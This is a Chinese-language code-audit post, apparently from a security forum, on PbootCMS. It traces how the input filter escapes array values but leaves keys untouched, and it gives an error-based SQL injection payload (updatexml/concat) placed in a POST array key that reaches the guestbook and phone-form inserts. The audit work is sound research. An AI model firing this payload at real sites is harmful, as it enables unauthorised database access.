PbootCMS审计【通过】

前言:看了这么久的代码审计,总算对框架有点感觉 了,赶快拿一个练练手。

0x01 浏览目录

拿到一个cms第一件事别急着直接index就开始看了,先对这个cms的总体框架有个了解,重点解读核
心代码,避免在不必要的地方浪费时间。

0x02 路由方式

这也是很重要的一点,知道通过什么url能访问到什么文件,被什么文件处理。

存在两种路由方式,一个是用户自定义的(默认无),一个是在common目录下的路由映射方式(如上
图所示)。

0x03 判断输入的过滤(类似fuzz)

增加这样一个测试函数。

结果:

证明无过滤。
找到封装的 GET\POST\REQEUST 方法:
以GET为例:

跟进filter函数:

return escape_string($data);

前面太多了,也没有什么太大的作用,重点是 return escape_string($data);

function escape_string($string, $dropStr = true) {
	if (! $string)
	return $string;
	if (is_array($string)) {
		// 数组处理
		foreach ($string as $key => $value) {
			$string[$key] = escape_string($value);
		}
	} elseif (is_object($string)) {
		// 对象处理
		foreach ($string as $key => $value) {
			$string->$key = escape_string($value);
		}
	} else {
		// 字符串处理
		if ($dropStr) {
			$string = preg_replace('/(0x7e)|(0x27)|(0x22)|(updatexml)|
(extractvalue)|(name_const)|(concat)/i', '', $string);
		}
		$string = htmlspecialchars(trim($string), ENT_QUOTES, 'UTF-8');
		$string = addslashes($string);
	}
	return $string;
}

过滤了一些报错注入,html的实体化,以及单引号的过滤,替换为空其实可以双写绕过,但是它还不止
一个过滤...
这有点严啊...但是如果使用外部传入的话,那就嘿嘿嘿
而且!!!它只对value的值进行过滤,对key无过滤...

0x04 留言注入

在留言提交界面:

public function add() {
	if ($_POST) {
		if (time() - session('lastsub') < 10) {
			alert_back('您提交太频繁了,请稍后再试!');
		}
		// 验证码验证
		$checkcode = post('checkcode');
		if ($this->config('message_check_code')) {
			if (! $checkcode) {
				alert_back('验证码不能为空!');
			}
			if ($checkcode != session('checkcode')) {
				alert_back('验证码错误!');
			}
		}
		// 读取字段
		if (! $form = $this->model->getFormField(1)) {
			alert_back('留言表单不存在任何字段,请核对后重试!');
		}
		var_dump($form);
		// 接收数据
		...

读add方法有点不懂,读出$form字段:

$mail_body = '';
foreach ($form as $value) {
	$field_data = post($value->name);
	if (is_array($field_data)) {
		// 如果是多选等情况时转换
		$field_data = implode(',', $field_data);
	}
	if ($value->required && ! $field_data) {
		alert_back($value->description . '不能为空!');
	} else {
		$data[$value->name] = post($value->name);
		$mail_body .= $value->description . ':' . post($value-
		>name) . '<br>';
	}
}
// 设置额外数据
if ($data) {
	$data['acode'] = session('lg');
	$data['user_ip'] = ip2long(get_user_ip());
	$data['user_os'] = get_user_os();
	$data['user_bs'] = get_user_bs();
	$data['recontent'] = '';
	$data['status'] = 0;
	$data['create_user'] = 'guest';
	$data['update_user'] = 'guest';
}
var_dump($data);

读出$data字段:


如果构造数组(在key处动手脚):

post:
contacts[content`,`create_time`,`update_time`) VALUES ('1', '1' ,1 and
updatexml(1,concat(0x3a,user()),1) );-- a] = 1111
content = 1111
mobile = 1111

if ($this->model->addMessage($data)) {
	session('lastsub', time());
	// 记录最后提交时间
	$this->log('留言提交成功!');
	if ($this->config('message_send_mail') && $this-
	>config('message_send_to')) {
		$mail_subject = "【PbootCMS】您有新的表单数据,请注意查收!";
		$mail_body .= '<br>来自网站' . get_http_url() . '(' .
		date('Y-m-d H:i:s') . ')';
		sendmail($this->config(), $this->config('message_send_to'),
		$mail_subject, $mail_body);
	}
	alert_location('提交成功!', '-1');
} else {
	$this->log('留言提交失败!');
	alert_back('提交失败!');
}
} else {
error('提交失败,请使用POST方式提交!');
}
}
// 新增留言
public function addMessage($data) {
return parent::table('ay_message')->autoTime()->insert($data);
}

0x05 电话注入

跟入代码:

此处与上处代码处理几乎一样,对key进行构造即可;

  • 通过
  • 未通过

0 投票者

给这个表哥补充一下。add没看懂应该是没看懂getformfilde是在模型里面的自定义方法,继续追踪模型,然后就能找到这个方法,就能知道如何add数据了!

这是最新版的吗?